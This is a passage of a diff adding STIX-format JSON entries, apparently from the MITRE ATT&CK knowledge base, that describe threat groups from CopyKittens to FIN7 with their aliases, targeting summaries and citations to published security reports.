"source_name": "Morphisec Cobalt Gang Oct 2018", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:32.356Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "CopyKittens" + ], + "type": "intrusion-set", + "name": "CopyKittens", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", + "external_references": [ + { + "external_id": "G0052", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0052" + }, + { + "description": "(Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", + "source_name": "CopyKittens" + }, + { + "source_name": "ClearSky CopyKittens March 2017", + "description": "ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/copykitten-jpost/" + }, + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "modified": "2019-10-11T19:32:55.187Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2" + }, + { + "aliases": [ + "Dark Caracal" + ], + "type": "intrusion-set", + "name": "Dark Caracal", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)", + "external_references": [ + { + "external_id": "G0070", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0070" + }, + { + "description": "(Citation: Lookout Dark Caracal Jan 2018)", + "source_name": "Dark Caracal" + }, + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:20.554Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "DarkHydrus" + ], + "type": "intrusion-set", + "name": "DarkHydrus", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)", + "external_references": [ + { + "external_id": "G0079", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0079" + }, + { + "description": "(Citation: Unit 42 DarkHydrus July 2018)", + "source_name": "DarkHydrus" + }, + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "modified": "2019-10-11T19:34:32.621Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "Darkhotel" + ], + "type": "intrusion-set", + "name": "Darkhotel", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi\u2011Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0012", + "url": "https://attack.mitre.org/groups/G0012" + }, + { + "description": "(Citation: Kaspersky Darkhotel)", + "source_name": "Darkhotel" + }, + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:50.624Z", + "id": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:51.556Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "Deep Panda", + "Shell Crew", + "WebMasters", + "KungFu Kittens", + "PinkPanther", + "Black Vine" + ], + "name": "Deep Panda", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)", + "id": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Andrew Smith, @jakx_" + ], + "created": "2017-05-31T21:31:49.412Z", + "modified": "2019-10-11T19:37:54.230Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0009", + "url": "https://attack.mitre.org/groups/G0009" + }, + { + "description": "(Citation: Alperovitch 2014)", + "source_name": "Deep Panda" + }, + { + "description": "(Citation: RSA Shell Crew)", + "source_name": "Shell Crew" + }, + { + "description": "(Citation: RSA Shell Crew)", + "source_name": "WebMasters" + }, + { + "description": "(Citation: RSA Shell Crew)", + "source_name": "KungFu Kittens" + }, + { + "description": "(Citation: RSA Shell Crew)", + "source_name": "PinkPanther" + }, + { + "description": "(Citation: Symantec Black Vine)", + "source_name": "Black Vine" + }, + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + }, + { + "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.", + "source_name": "ThreatConnect Anthem", + "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" + }, + { + "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.", + "source_name": "RSA Shell Crew", + "url": "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf" + }, + { + "source_name": "Symantec Black Vine", + "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf" + }, + { + "description": "Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China\u2019s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.", + "source_name": "ICIT China's Espionage Jul 2016", + "url": "https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/" + } + ] + }, + { + "aliases": [ + "DragonOK" + ], + "type": "intrusion-set", + "name": "DragonOK", + "description": "[DragonOK](https://attack.mitre.org/groups/G0017) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](https://attack.mitre.org/groups/G0017) is thought to have a direct or indirect relationship with the threat group [Moafee](https://attack.mitre.org/groups/G0002). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)", + "external_references": [ + { + "external_id": "G0017", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0017" + }, + { + "description": "(Citation: Operation Quantum Entanglement) (Citation: New DragonOK)", + "source_name": "DragonOK" + }, + { + "source_name": "Operation Quantum Entanglement", + "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + }, + { + "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.", + "source_name": "New DragonOK", + "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:53.197Z", + "id": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a", + "modified": "2019-03-22T20:10:32.917Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Dragonfly", + "Energetic Bear" + ], + "type": "intrusion-set", + "name": "Dragonfly", + "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)\n\nA similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)", + "external_references": [ + { + "external_id": "G0035", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0035" + }, + { + "description": "(Citation: Symantec Dragonfly)", + "source_name": "Dragonfly" + }, + { + "description": "(Citation: Symantec Dragonfly)", + "source_name": "Energetic Bear" + }, + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + }, + { + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "source_name": "Symantec Dragonfly Sept 2017", + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + }, + { + "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.", + "source_name": "Fortune Dragonfly 2.0 Sept 2017", + "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:05.217Z", + "id": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", + "modified": "2019-03-22T20:11:04.628Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Dragonfly 2.0", + "Berserk Bear" + ], + "type": "intrusion-set", + "name": "Dragonfly 2.0", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)", + "external_references": [ + { + "external_id": "G0074", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0074" + }, + { + "description": "(Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)", + "source_name": "Dragonfly 2.0" + }, + { + "description": "(Citation: Fortune Dragonfly 2.0 Sept 2017)", + "source_name": "Berserk Bear" + }, + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "source_name": "Symantec Dragonfly Sept 2017", + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + }, + { + "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.", + "source_name": "Fortune Dragonfly 2.0 Sept 2017", + "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "Dust Storm" + ], + "type": "intrusion-set", + "name": "Dust Storm", + "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)", + "external_references": [ + { + "external_id": "G0031", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0031" + }, + { + "description": "(Citation: Cylance Dust Storm)", + "source_name": "Dust Storm" + }, + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:32:03.306Z", + "id": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "modified": "2019-03-22T20:14:29.575Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "Elderwood", + "Elderwood Gang", + "Beijing Group", + "Sneaky Panda" + ], + "name": "Elderwood", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)", + "id": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Valerii Marchuk, Cybersecurity Help s.r.o." + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-03-22T20:15:19.117Z", + "external_references": [ + { + "external_id": "G0066", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0066" + }, + { + "description": "(Citation: Security Affairs Elderwood Sept 2012) (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)", + "source_name": "Elderwood" + }, + { + "description": "(Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)", + "source_name": "Elderwood Gang" + }, + { + "description": "(Citation: CSM Elderwood Sept 2012)", + "source_name": "Beijing Group" + }, + { + "description": "(Citation: CSM Elderwood Sept 2012)", + "source_name": "Sneaky Panda" + }, + { + "source_name": "Security Affairs Elderwood Sept 2012", + "description": "Paganini, P. (2012, September 9). Elderwood project, who is behind Op. Aurora and ongoing attacks?. Retrieved February 13, 2018.", + "url": "http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html" + }, + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "CSM Elderwood Sept 2012", + "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.", + "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China" + } + ] + }, + { + "aliases": [ + "Equation" + ], + "type": "intrusion-set", + "name": "Equation", + "description": "[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)", + "external_references": [ + { + "external_id": "G0020", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0020" + }, + { + "description": "(Citation: Kaspersky Equation QA)", + "source_name": "Equation" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.", + "source_name": "Kaspersky Equation QA", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:54.697Z", + "id": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9", + "modified": "2019-01-31T18:38:24.164Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "FIN10" + ], + "type": "intrusion-set", + "name": "FIN10", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)", + "external_references": [ + { + "external_id": "G0051", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0051" + }, + { + "description": "(Citation: FireEye FIN10 June 2017)", + "source_name": "FIN10" + }, + { + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "modified": "2019-04-25T12:09:56.122Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "FIN4" + ], + "type": "intrusion-set", + "name": "FIN4", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)", + "external_references": [ + { + "external_id": "G0085", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0085" + }, + { + "description": "(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)", + "source_name": "FIN4" + }, + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye FIN4 Stealing Insider NOV 2014", + "description": "Dennesen, K. et al.. (2014, November 30). FIN4: Stealing Insider Information for an Advantage in Stock Trading?. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:01:45.129Z", + "id": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "modified": "2019-04-18T20:19:49.089Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "FIN5" + ], + "name": "FIN5", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "id": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Walker Johnson" + ], + "created": "2018-01-16T16:13:52.465Z", + "modified": "2019-04-24T19:41:25.412Z", + "external_references": [ + { + "external_id": "G0053", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0053" + }, + { + "description": "(Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "source_name": "FIN5" + }, + { + "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.", + "source_name": "FireEye Respond Webinar July 2017", + "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + }, + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + } + ] + }, + { + "aliases": [ + "FIN6", + "ITG08" + ], + "name": "FIN6", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)", + "id": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Drew Church, Splunk" + ], + "created": "2017-05-31T21:32:06.015Z", + "modified": "2019-10-15T17:55:22.250Z", + "external_references": [ + { + "external_id": "G0037", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0037" + }, + { + "description": "(Citation: FireEye FIN6 April 2016)", + "source_name": "FIN6" + }, + { + "description": "(Citation: Security Intelligence More Eggs Aug 2019)", + "source_name": "ITG08" + }, + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + }, + { + "source_name": "Security Intelligence More Eggs Aug 2019", + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ] + }, + { + "aliases": [ + "FIN7" + ], + "type": "intrusion-set", + "name": "FIN7", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018)", + "external_references": [ + { + "external_id": "G0046", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0046" + }, + { + "description": "(Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: Morphisec FIN7 June 2017) (Citation: FireEye FIN7 Shim Databases) (Citation: FireEye FIN7 Aug 2018)", + "source_name": "FIN7" + }, + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": 